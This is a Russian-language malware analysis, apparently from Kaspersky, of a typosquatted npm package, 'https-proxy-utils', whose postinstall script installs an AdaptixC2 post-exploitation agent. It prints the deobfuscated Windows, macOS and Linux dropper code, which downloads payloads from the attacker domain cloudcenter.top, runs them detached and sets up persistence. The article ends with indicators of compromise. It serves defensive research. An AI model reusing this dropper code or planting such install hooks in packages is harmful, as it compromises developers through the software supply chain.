Постэксплуатационный фреймворк теперь доставляется и в npm

Vladimir Gursky ⋮ ⋮ 10/17/2025

Описание инцидента

В начале 2025 года в открытом доступе была опубликована первая версия фреймворка для постэксплуатации AdaptixC2, который можно назвать альтернативой известному Cobalt Strike. Весной 2025 года были зафиксированы первые случаи применения этого фреймворка злоумышленниками во вредоносных целях.

В октябре 2025 года эксперты «Лаборатории Касперского» обнаружили вредоносный пакет в экосистеме npm с достаточно убедительным именем `https-proxy-utils`, который был представлен как инструмент для использования прокси в проектах. На момент публикации статьи этот пакет уже был удален из реестра.

Название пакета напоминает популярные легитимные пакеты: `http-proxy-agent` с приблизительно 70 миллионами загрузок в неделю и `https-proxy-agent` с 90 миллионами загрузок. Заявленная функциональность для работы с прокси полностью скопирована из другого популярного легитимного пакета, `proxy-from-env`, с 50 миллионами загрузок в неделю. Однако, помимо этого, злоумышленники внедрили в пакет `https-proxy-utils` постинсталляционный скрипт, который загружает и запускает полезную нагрузку с агентом AdaptixC2.

Метаданные вредоносного (слева) и легитимного (справа) пакетов

Адаптация под ОС

Злоумышленники предусмотрели в скрипте различные способы загрузки полезной нагрузки в зависимости от операционной системы жертвы. В пакете представлены варианты загрузки на Windows, Linux и macOS: в каждой системе имплант загружается и запускается определенным образом при помощи системных или пользовательских директорий.

Так, на Windows агент AdaptixC2 загружается в качестве DLL-файла в системную директорию `C:\Windows\Tasks` и запускается в системе при помощи техники DLL Sideloading. Для этого JS-скрипт

копирует легитимный файл `msdtc.exe` в ту же директорию и выполняет его, что в свою очередь загружает вредоносную библиотеку.

```
async function onWindows() {
  const url = 'https://cloudcenter.top/sys/update';
  const dllPath = 'C:\\Windows\\Tasks\\msdtctm.dll';
  const systemMsdtc = 'C:\\Windows\\System32\\msdtc.exe';
  const tasksMsdtc = 'C:\\Windows\\Tasks\\msdtc.exe';

  try {
    await downloadFile(url, dllPath);
    fs.copyFileSync(systemMsdtc, tasksMsdtc);

    const child = spawn(tasksMsdtc, [], {
      detached: true,
      stdio: 'ignore',
    });
    child.unref();
  } catch (err) {
    console.error(err);
  }
}
```

Код загрузки AdaptixC2 на Windows, деобфусцированный и приведенный к читаемому виду

На macOS скрипт загружает полезную нагрузку в виде исполняемого файла в пользовательскую директорию автозапуска `Library/LaunchAgents`. В эту же директорию `postinstall.js` загружает файл конфигурации для автозапуска plist. Перед загрузкой AdaptixC2 скрипт проверяет целевую архитектуру — x64 или ARM — и в зависимости от нее скачивает соответствующую полезную нагрузку.

```
async function onMacOS() {
  const home = os.homedir();
  const libraryDir = path.join(home, 'Library');
  const launchAgentsDir = path.join(libraryDir, 'LaunchAgents');

  if (!fs.existsSync(launchAgentsDir)) {
    fs.mkdirSync(launchAgentsDir, { recursive: true });
  }

  const binPath = path.join(launchAgentsDir, 'macosUpdate');
  const plistPath = path.join(launchAgentsDir, 'com.macos.update.plist');

  const urlArm = 'https://cloudcenter.top/macos_update_arm';
  const urlX64 = 'https://cloudcenter.top/macos_update_x64';
  const urlPlist = 'https://cloudcenter.top/macosUpdate.plist';

  try {
    if (os.arch() === 'arm64') {
      await downloadFile(urlArm, binPath);
    } else {
      await downloadFile(urlX64, binPath);
    }
    await downloadFile(urlPlist, plistPath);

    fs.chmodSync(binPath, 0o755);

    const child = spawn(binPath, [], { detached: true, stdio: 'ignore' });
    child.unref();

    let plist = fs.readFileSync(plistPath, 'utf-8');
    plist = plist.replace(/{filepath}/g, binPath);
    fs.writeFileSync(plistPath, plist, 'utf-8');
  } catch (err) {
    console.error(err);
  }
}
```

Код загрузки AdaptixC2 на macOS, деобфусцированный и приведенный к читаемому виду

На Linux агент фреймворка загружается во временную директорию `/tmp/.fonts-unix`. Скрипт обеспечивает доставку бинарного файла, ориентированного под конкретную архитектуру (x64 или ARM), после чего присваивает ему права на исполнение.

```
async function onLinux() {
  const destPath = '/tmp/.fonts-unix';
  const urlX64 = 'https://cloudcenter.top/linux_update_x64';
  const urlArm = 'https://cloudcenter.top/linux_update_arm';

  try {
    if (os.arch() === 'x64') {
      await downloadFile(urlX64, destPath);
    } else {
      await downloadFile(urlArm, destPath);
    }
    fs.chmodSync(destPath, 0o755);

    const child = spawn(destPath, [], { detached: true, stdio: 'ignore' });
    child.unref();
  } catch (err) {
    console.error(err);
  }
}
```

Код загрузки AdaptixC2 на Linux, деобфусцированный и приведенный к читаемому виду

Установив агент фреймворка AdaptixC2 на устройстве жертвы, злоумышленники получают возможности удаленного доступа, выполнения команд, управления файлами и процессами, а также различные способы

закрепления в системе. Это позволяет атакующим не только сохранять устойчивый доступ, но и проводить анализ сети и разворачивать последующие стадии атаки.

Заключение

Это не первая атака на реестр npm за последнее время. Месяц назад подобные методики заражения при помощи постинсталляционного скрипта использовались в нашумевшем инциденте с волной заражений червем под названием Shai-Hulud, который инфицировал свыше 500 пакетов.

Инцидент с AdaptixC2 демонстрирует растущую тенденцию использования экосистем открытого программного обеспечения, таких как npm, в качестве вектора атак. Злоумышленники все чаще эксплуатируют доверенную цепочку поставок открытого ПО для распространения агентов постэксплуатационных фреймворков и других видов вредоносных программ. Подобным угрозам подвержены пользователи и организации, занимающиеся разработкой или использующие открытое программное обеспечение из таких экосистем, как npm, в своих продуктах.

Чтобы оставаться в безопасности, мы рекомендуем проявлять бдительность при установке модулей с открытым исходным кодом: удостоверяться в точности названия скачиваемого пакета, а также более тщательно проверять непопулярные и новые репозитории. Кроме того, при использовании популярных модулей критически важно отслеживать постоянно пополняемые фиды скомпрометированных пакетов и библиотек.

Индикаторы компрометации

Название пакета:
https-proxy-utils

Хэши:
DFBC0606E16A89D980C9B674385B448E — хэш пакета
B8E27A88730B124868C1390F3BC42709
669BDBEF9E92C3526302CA37DC48D21F
EDAC632C9B9FF2A2DA0EACAAB63627F4
764C9E6B6F38DF11DC752CB071AE26F9
04931B7DFD123E6026B460D87D842897

Сетевые индикаторы:
cloudcenter[.]top/sys/update
cloudcenter[.]top/macos_update_arm
cloudcenter[.]top/macos_update_x64
cloudcenter[.]top/macosUpdate[.]plist
cloudcenter[.]top/linux_update_x64
cloudcenter[.]top/linux_update_arm

Постэксплуатационный фреймворк теперь доставляется и в npm